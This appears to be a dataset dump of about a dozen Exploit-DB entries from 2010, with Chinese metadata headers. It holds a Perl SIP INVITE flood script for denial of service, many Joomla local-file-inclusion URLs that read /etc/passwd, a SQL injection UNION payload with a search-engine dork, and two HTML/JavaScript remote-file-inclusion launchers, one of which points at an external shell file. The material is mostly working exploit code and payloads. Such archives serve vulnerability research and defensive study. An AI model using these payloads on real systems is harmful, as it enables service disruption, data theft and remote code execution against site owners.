QLWD/code_shield huggingface dataset:
标题: Microsoft Office 2010 Beta - Communicator SIP Denial of Service EDB-ID: 12079 CVE: 2008-5180 类型: DOS 平台: WINDOWS 发布日期: 2010-04-06 漏洞利用脚本: ========================================================================================                  
| # Title    : Microsoft Office ( 2010 beta ) Communicator SIP denial of service Exploit       
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                         
| # Tested on: windows SP2        
| # Bug      : Denial of service Exploit                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
#!usr/bin/perl  
####################################################################################################################### 
#    Microsoft Office 2010 Communicator allows remote attack to cause a denial of service (memory consumption) via    #
#    a large number of SIP INVITE requests.                                                                           # 
####################################################################################################################### 
  
  
use IO::Socket; 
  
print("\nEnter IP Address of Target Server: \n"); 
$vuln_host_ip = <STDIN>; 
print("\nEnter IP Address of Target Server: \n"); 
$port = <STDIN>; 
  
$sock_sip = IO::Socket::INET->new(    PeerAddr => $vuln_host_ip, 
                                     PeerPort => $port, 
                                     Proto    => 'udp') || "Unable to create Socket"; 
#if the server is configured on TCP replace 'udp' with 'tcp'. 
  
while(1) 
{ 
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n"; 
   
} 
  
#program never comes here for execution 

close($sock_sip);

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R (http://www.ilegalintrusion.net/foro/)
Cyb3r IntRue (avengers team) * The globin * Virus_Hima
--------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/12079
标题: Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion EDB-ID: 12083 CVE: 2010-1977 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ============================================================================================================


  [o] Joomla Component J!WHMCS Integrator Local File Inclusion Vulnerability

       Software : com_jwhmcs version 1.5.0
       Vendor   : https://client.gohigheris.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jwhmcs&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12083
标题: Joomla! Component LoginBox - Local File Inclusion EDB-ID: 12068 CVE: 2010-1353 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-05 漏洞利用脚本: ================================================================================================

 Title    : Joomla Component com_loginbox LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_loginbox&view=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n URL: https://www.exploit-db.com/exploits/12068
标题: Joomla! Component redSHOP 1.0 - Local File Inclusion EDB-ID: 12054 CVE: 2010-1531 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-04 漏洞利用脚本: ======================================================================================================================


  [o] Joomla Component redSHOP Local File Inclusion Vulnerability
 
       Software : com_redshop version 1.0.x [ commercial ]
       Vendor   : http://redcomponent.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


======================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_redshop&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00


======================================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella pizzyroot
       H312Y yooogy mousekill }^-^{ noname matthews s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


======================================================================================================================


  [o] Iklan Layanan Masyarakat

       -irc.******.net- *** Notice -- ander used SAJOIN to make wishnusakti join #channel
       <Jack> wew
       <Jack> ngapaen lu bedua di sini?
       <Jack> ck ck ck
       <@ander> kegiatan mafia
       <@wishnusakti> belajar broo ;))
       <@wishnusakti> nubi nih :(
       <Jack> sama dunk bro
       <Jack> aq ikut yak
       <Jack> mohon bimbingan na sesepuh
       <@wishnusakti> tuhh aku di ajarin ma ander-wear kok 
       <@wishnusakti> minta ma dia brooo 
       <Jack> ok bro
       <Jack> bro ander-wear.. ajarin dunk
       <@wishnusakti> jangan manggil gitu 
       <@wishnusakti> kamu di plorotin celananya nanti broo =))
       <Jack> jadi apa dong?
       <@wishnusakti> ander ku sayang :*
       <~zxvf> [06:27] * ~ander lagi dengerin [Akon - Right Now (Na Na Na)] © [nob0dy] <=- kayak nya lg senenQ dia
       <&pizzy> lagi kasmaran dia 
       <&NoGe> lg berbunga² tuh
       <zxvf> icic

       ouw ouw kamu ketauan... wkakwakwkakwkwakwak... :p


====================================================================================================================== URL: https://www.exploit-db.com/exploits/12054
标题: Joomla! Component Shoutbox Pro - Local File Inclusion EDB-ID: 12067 CVE: 2010-1534 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-05 漏洞利用脚本: ================================================================================================

 Title    : Joomla Component com_shoutbox LFI Vulnerability
 Download : http://joomlacode.org/gf/project/shoutbox

 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_shoutbox&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n URL: https://www.exploit-db.com/exploits/12067
标题: Facil-CMS 0.1RC2 - Local/Remote File Inclusion EDB-ID: 12061 CVE: 2008-7176 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-04 漏洞利用脚本: ########################################################
 Facil-CMS (LFI/RFI) Vulnerability
########################################################
[+]Title : Facil-CMS Multiple Vulnerability
[+]Version: 0.1RC2 
[+]Download: http://sourceforge.net/projects/facil-cms/files/
[+]Author: eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com  

 [!]Thank`s To: all friends

########################################################

 -=[ Vuln C0de ]=-
***********************
[-]facil-cms/index.php

 require_once('config.inc.php');
 require_once(_FACIL_INCLUDES_PATH_ . '/facil-settings.php');
 
 $config = new facilConfig();
 $utils = new facilUtils();
 
 if($utils->is_module($config->getSiteIndex()))

require_once(_FACIL_MODULES_PATH_ . '/' . $config->getSiteIndex() . '/config.php');
require_once(_FACIL_MODULES_PATH_ . '/' . $config->getSiteIndex() . '/class/index.php');

***********************
[-]facil-cms/modules.php

require_once('config.inc.php');
 require_once(_FACIL_INCLUDES_PATH_ . '/facil-settings.php');

 if($_POST['modload'] && !eregi("/", $_POST['modload']))
 {
  $_MODLOAD = trim($_POST['modload']);
  if($_POST['fileload'] && !eregi("/", $_POST['fileload']))
  {
   $FILELOAD = trim($_POST['fileload']);

  $_MODLOAD = false;
  $FILELOAD = false;

 if($_POST['admload'] &&  !eregi("/", $_POST['admload']))
 {
  $_ADMLOAD = trim($_POST['admload']);
  if($_POST['fileload'] && !eregi("/", $_POST['fileload']))


  $_ADMLOAD = false;
  $FILELOAD = false;

 require_once(_FACIL_MODULES_PATH_ . '/' . $_MODLOAD . '/config.php');
 require_once(_FACIL_MODULES_PATH_ . '/' . $_MODLOAD . '/class/index.php');

*******************

[-]facil-cms/includes/facil-settings.php

if(!isset($_SESSION['FACIL_LANGUAGE']))
 {
  $_SESSION['FACIL_LANGUAGE'] = $config->getLanguage();
 }
 
 require_once(_FACIL_I18N_PATH_ . '/lang-' . $_SESSION['FACIL_LANGUAGE'] . '.php');
 require_once(_FACIL_THEMES_PATH_ . '/' . $_SESSION['FACIL_THEME'] . '/themeFacil.class.php');

*******************

 -=[ Proof Of Concept ]=-

 http://127.0.0.1/facil-cms/modules.php?modload=../../../../../../../../etc/passwd%00
 Similar reference:
 http://www.exploit-db.com/exploits/5792

 http://127.0.0.1/facil-cms/index.php?getSiteIndex=../../../../../../../../etc/passwd%00

 http://127.0.0.1/facil-cms//includes/facil-settings.php?FACIL_THEME= [rfi shell]

######################################################## URL: https://www.exploit-db.com/exploits/12061
标题: Joomla! Component Picasa 2.0 - Local File Inclusion EDB-ID: 12058 CVE: 2010-1306 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-04 漏洞利用脚本: # Exploit Title: Joomla Component Picasa 2.0 LFI Vulnerability
# Date: Monday, 05 April 2010
# Author: Vrs-hCk
# Software Link: http://prof3ta.netsons.org/
# Version: Joomla Component Picasa version 2.0
# Tested on:
# CVE :
# Code :

 ================================================================================================

 Title    : Joomla Component Picasa 2.0 LFI Vulnerability
 Software : com_joomlapicasa2 version 2.0
 Vendor   : http://prof3ta.netsons.org/

 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_joomlapicasa2&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n URL: https://www.exploit-db.com/exploits/12058
标题: Joomla! Component SVMap 1.1.1 - Local File Inclusion EDB-ID: 12066 CVE: 2010-1308 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-05 漏洞利用脚本: ================================================================================================

 Title    : Joomla Component com_svmap v1.1.1 LFI Vulnerability
 Vendor   : http://www.la-souris-verte.com
 
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_svmap&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n URL: https://www.exploit-db.com/exploits/12066
标题: Joomla! Component redTWITTER 1.0 - Local File Inclusion EDB-ID: 12055 CVE: 2010-1983 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-04 漏洞利用脚本: =========================================================================================================================


  [o] Joomla Component redTWITTER Local File Inclusion Vulnerability
 
       Software : com_redtwitter version 1.0.x
       Vendor   : http://redcomponent.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


=========================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_redtwitter&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00


=========================================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella pizzyroot
       H312Y yooogy mousekill }^-^{ noname matthews s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


========================================================================================================================= URL: https://www.exploit-db.com/exploits/12055
标题: Joomla! Component JInventory 1.23.02 - Local File Inclusion EDB-ID: 12065 CVE: 2010-1305 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-05 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component JInventory Local File Inclusion
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date  : 04 april 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : JInventory 
version  : 1.23.02 
Price  : 20.00 USD
Developer : Mo Kelly
License  : GPL            type  : Commercial
Date Added : 11 April 2009
Download : http://joomlamo.com/joomlamo/downloads/cat_view/9-joomla-inventory.html
Demo  : http://inventory.joomlamo.com/


Description     :

This inventory component was designed to track inventory at a remote location.
There is a bar code printing component and import inventory component that work with this product.

It may be inventory that is consigned to a customer or perhaps sold to a customer
but on hand quantities are tracked at their location. The remote location logs into
your site and records usage.

The inventory is set up with on hand quantities, reorder levels, and reorder quantities.
As parts are used the part number is entered and the quantity is entered. On hand quantities
are tracked real time. This eliminates making one trip to the customer to determine shortages
leaving only one trip to the customer to fill shortages.

From the back end, when you create orders, the on hand quantity is compared to the reorder level
to determine if a replenishment order is needed. The order records can be created by clicking the
save button after reviewing parts on order and editing the quantities. The potential receipts can
be displayed from the back end by clicking create receipts. After editing the quantities, you can
save to update the on hand quantities for orders received.

We have additional software (JBarcode) for printing labels and hardware for barcode scanning to
make your customer's effort minimal. Also hand held collection devices to be able to take inventory
very fast with software to automatically update the on hand quantities.


--------------
file error : components/com_jinventory/jinventory.php

how to exploit

http://127.0.0.1/index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/12065
标题: Joomla! Component JP Jobs 1.4.1 - SQL Injection EDB-ID: 12037 CVE: 2010-1350 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-03 漏洞利用脚本: :: General information
:: Joomla component jp_jobs SQL Injection vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = jp_jobs
:: Vendor = Joomla! Projects
:: Vendor Website = http://www.joomlanetprojects.com/
:: About the product = http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11163
:: Affected versions = All, latest one is 1.4.1
:: Google dork: "inurl:index.php?option=com_jp_jobs"


:: SQL Injection vulnerability
The component is extremly useful when it comes down to implementing some sort of job portal into your Joomla website.
Injecting SQL commands while viewing details about a job is possible.

Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id=1

Test URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id='

Exploit vulnerability, e.g. by displaying the MySQL user:
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+concat(user())-- URL: https://www.exploit-db.com/exploits/12037
标题: nodesforum 1.033 - Remote File Inclusion EDB-ID: 12047 CVE: 2010-1351 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-04 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ahmadbady</title>

<script language="JavaScript">

//===========================================================================
//( #Topic    : nodesforum_1.033
//( #Bug type : multi remote file include
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
//vuls---------------------------------------------------------------------
//erase_user_data.php line 6;
//pre_output.php line 16 ;
//--------------------------------------------------------------------------

var variable1 ="?_nodesforum_path_from_here_to_nodesforum_folder="
var variable2 ="?_nodesforum_code_path="
  
 function it(){
  if (xpl.file.value=="pre_output.php"){
          variable1 = variable2;
         
                              }
                xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.shell.value;xpl.submit();                                        
            }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#FF0000">vul1 file:/path/erase_user_data.php</font></p>
<p align="left"><font color="#FF0000">vul2 file:/path/pre_output.php</font></p>
<p align="left"><font color="#0000FF">-----------------------------------</font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <font 
size="2" face="Tahoma">
   victim:
   <input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000"> 
 path:
 <input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000"> 
 file:
 <input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000"> 
 shell address:
 <input type="text" name="shell" size="20";" style="color: #FFFFFF; background-color: #000000"></p>
   </p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
 </p>
</center>
</body>

</html> URL: https://www.exploit-db.com/exploits/12047
标题: Uiga Proxy - Remote File Inclusion EDB-ID: 12049 CVE: 2010-1528 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-04 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ahmadbady</title>

<script language="JavaScript">

//===========================================================================
//( #Topic    : uigaproxy
//( #Bug type : remote file include
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
   
//---------------------------------------------------------------------


   var path="/uigaproxy/include/"
   var file="template.php"
   var variable ="?content="
   var shell="http://ahmadbady.persiangig.com/other/a.txt?"

   function it(){
  xpl.action= document.xpl.victim.value+path+file+variable+shell;xpl.submit();
   }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#0000FF"><b>uigaproxy remote file include</b></font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <b><font face="Tahoma" size="2"><font color="#FF0000">example</font>:http://victim/path</a></font>
   or
   </font>
   <font face="Tahoma" size="2" color="#000000">http://victim</font><font 
size="2" face="Tahoma"></a> <font size="2"> --></font></font></b><font 
size="2" face="Tahoma">
   <input type="text" name="victim" size="20";"></p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
 </p>
</center>
</body>

</html> URL: https://www.exploit-db.com/exploits/12049